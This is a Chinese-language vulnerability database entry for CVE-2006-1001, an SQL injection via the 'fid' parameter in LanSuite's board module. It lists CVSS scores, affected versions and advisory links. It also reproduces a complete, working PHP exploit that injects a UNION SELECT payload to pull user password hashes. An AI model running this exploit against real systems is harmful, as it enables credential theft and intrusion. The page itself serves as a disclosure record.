CVE-2006-1001
CVSS5.0
发布时间 :2006-03-06 15:06:00
修订时间 :2011-03-07 21:31:33
NMCOE    

[原文]SQL injection vulnerability in the board module in LanSuite LanParty Intranet System 2.0.6 and 2.1.0 beta allows remote attackers to execute arbitrary SQL commands via the fid parameter.


[CNNVD]Lansuite Board ModuleSQL注入漏洞(CNNVD-200603-056)

        在 LanSuite LanParty 企业网系统 2.0.6和2.1.0 beta版的 board模块中的SQL注入漏洞,允许远程攻击者通过fid参数,执行任意SQL指令。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:lansuite:lanparty_intranet_system:2.1
cpe:/a:lansuite:lanparty_intranet_system:2.0.6

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1001
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1001
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-056
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/0747
(UNKNOWN)  VUPEN  ADV-2006-0747
http://www.securityfocus.com/bid/16836
(VENDOR_ADVISORY)  BID  16836
http://secunia.com/advisories/19048
(VENDOR_ADVISORY)  SECUNIA  19048
http://xforce.iss.net/xforce/xfdb/24940
(UNKNOWN)  XF  lansuite-fid-sql-injection(24940)
http://www.osvdb.org/23533
(UNKNOWN)  OSVDB  23533
http://milw0rm.com/exploits/1526
(UNKNOWN)  MILW0RM  1526

- 漏洞信息

Lansuite Board ModuleSQL注入漏洞
中危 SQL注入
2006-03-06 00:00:00 2006-03-06 00:00:00
远程  
        在 LanSuite LanParty 企业网系统 2.0.6和2.1.0 beta版的 board模块中的SQL注入漏洞,允许远程攻击者通过fid参数,执行任意SQL指令。

- 公告与补丁

        目前厂商还没有提供此漏洞的相关补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本.

- 漏洞信息 (1526)

Lansuite <= 2.1.0 Beta (fid) Remote SQL Injection Exploit (EDBID:1526)
php webapps
2006-02-24 Verified
0 x128
N/A [点击下载]
<?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "oooooooooooooooooooooo lansuite 2.10 remote sql injection oooooooooooooooooooooo\n";
    echo "oo usage          $ php lansuite-210-exploit.php [url] [user id]\n";
    echo "oo proxy support  $ php lansuite-210-exploit.php [url] [user id] [proxy]:[port]\n";
    echo "oo example        $ php lansuite-210-exploit.php http://localhost 1\n";
    echo "oo print the password of the user\n\n";
}

function xss_bottom()
{
    echo "\noo developed for the [myg0t] online gaming group\n";
    echo "oo discover : x128 - alexander wilhelm - 24/02/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/index.php";
    $xss_http_prefix_get = "?mod=board&action=forum&fid=x128";

    $xss_connection = curl_init();

    if ($_SERVER['argv'][3])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][3]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_prefix_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_prefix_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");
    
    $xss_prefix = substr(strstr($xss_prefix_source, "need_type FROM "), 15, strpos(strstr($xss_prefix_source, "need_type FROM "), "board_forums") - 15);
    
    $xss_http_get = "?mod=board&action=forum&fid=" . urlencode("0 UNION SELECT 1, 1, 1, 1, 1, 1, password, 1, 1, 1, 1 FROM ". $xss_prefix ."user WHERE userid = ". $_SERVER['argv'][2] ."/*");

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");

    $xss_passwd = substr(strstr($xss_source, "b.userid WHERE pid = "), 21, 32);
    
    if ($xss_passwd == "") { $xss_passwd = substr(strstr($xss_source, "Unknown column '"), 16, 32); }

    if ($_SERVER['argv'][2] && $xss_passwd)
    {
        echo "oo user           " . $_SERVER['argv'][2] . "\n";
        echo "oo password       " . $xss_passwd . "\n\n";
        echo "oo dafaced ...\n";
    }
    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# milw0rm.com [2006-02-24]
		

- 漏洞信息

23533
LanSuite LanParty Intranet System index.php fid Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

LanSuite contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the 'index.php' script not properly sanitizing user-supplied input to the 'fid' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-02-24 Unknow
2006-02-24 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站